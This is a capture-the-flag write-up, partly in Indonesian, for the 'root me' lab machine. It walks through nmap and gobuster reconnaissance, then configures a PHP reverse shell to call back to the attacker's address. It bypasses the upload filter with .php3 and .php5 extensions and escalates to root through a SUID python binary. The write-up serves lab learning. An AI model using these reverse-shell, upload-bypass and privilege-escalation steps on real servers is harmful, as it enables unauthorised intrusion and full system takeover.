ctf_aria

write up ctf by ariafatah


Project maintained by ariafatah0711 Hosted on GitHub Pages — Theme by mattgraham

root me

docs

answer

Step By Step

Solve (Visual)

information gathering

exploit

post exploit

Setelah berhasil mendapatkan akses ke server melalui web shell, langkah selanjutnya adalah mengoptimalkan akses yang telah diperoleh untuk mendapatkan kontrol lebih dalam terhadap sistem target. Berikut beberapa langkah yang dapat dilakukan dalam tahap post exploit: \

Solve (Text-Based)

information gathering

: '[+] setup'
ip=10.10.62.155
tun=10.21.78.122

: '[+] nmap'
nmap -p- -T4 $ip # check all port opened
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 17:30 WIB
# Nmap scan report for 10.10.62.155 (10.10.62.155)
# Host is up (0.21s latency).
# Not shown: 65533 closed tcp ports (reset)
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http

# Nmap done: 1 IP address (1 host up) scanned in 355.97 seconds

nmap -sCV -p22,80 $ip -oN nmap # check the version for each port opened
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 17:32 WIB
# Nmap scan report for 10.10.62.155 (10.10.62.155)
# Host is up (0.21s latency).

# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey: 
# |   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
# |   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
# |_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
# 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
# | http-cookie-flags: 
# |   /: 
# |     PHPSESSID: 
# |_      httponly flag not set
# |_http-title: HackIT - Home
# |_http-server-header: Apache/2.4.29 (Ubuntu)
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds

: '[+] whatweb'
whatweb http://$ip
# http://10.10.62.155 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.62.155], Script, Title[HackIT - Home]

: '[+] Directory Discovery (gobuster, dirsearch, dirbuster(gui))'
gobuster dir -u http://$ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o dir
# /uploads              (Status: 301) [Size: 314] [--> http://10.10.62.155/uploads/]
# /css                  (Status: 301) [Size: 310] [--> http://10.10.62.155/css/]
# /js                   (Status: 301) [Size: 309] [--> http://10.10.62.155/js/]
# /panel                (Status: 301) [Size: 312] [--> http://10.10.62.155/panel/]

dirsearch -u http://$ip -e all -o dir

exploit

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

ip a # check the interface tun0
vi php-reverse-shell.php
: 'ubah bagian ini'
# $ip = '10.21.78.122';  // CHANGE THIS
# $port = 9001;       // CHANGE THIS

: 'upload the file to /panel'
# seharusnya akan gagal

cp php-reverse-shell.php sh.php2; cp php-reverse-shell.php sh.php3; cp php-reverse-shell.php sh.php5
# lalu coba bypass dengan mengubah extensionya sepertti php3, php5, dll dan lakukan upload seharusnya berhasil

: 'listen'
nc -lvnp 9001

post exploit

: 'upgrade tty'
python -c 'import pty; pty.spawn("/bin/bash")'
# CTRL + Z
stty raw -echo; fg
export TERM=xterm

: 'suid'
find / -type f -user root -perm -4000 2>/dev/null
# /usr/lib/dbus-1.0/dbus-daemon-launch-helper
# /usr/lib/snapd/snap-confine
# /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
# /usr/lib/eject/dmcrypt-get-device
# /usr/lib/openssh/ssh-keysign
# /usr/lib/policykit-1/polkit-agent-helper-1
# /usr/bin/traceroute6.iputils
# /usr/bin/newuidmap
# /usr/bin/newgidmap
# /usr/bin/chsh
# /usr/bin/python
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/sudo
# /usr/bin/newgrp
# /usr/bin/passwd
# /usr/bin/pkexec

: 'Jika Menemukan SUID atau Sudoers yang Rentan, langkah selanjutnya adalah mencari eksploitasi yang relevan dengan menggunakan GTFOBins.'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'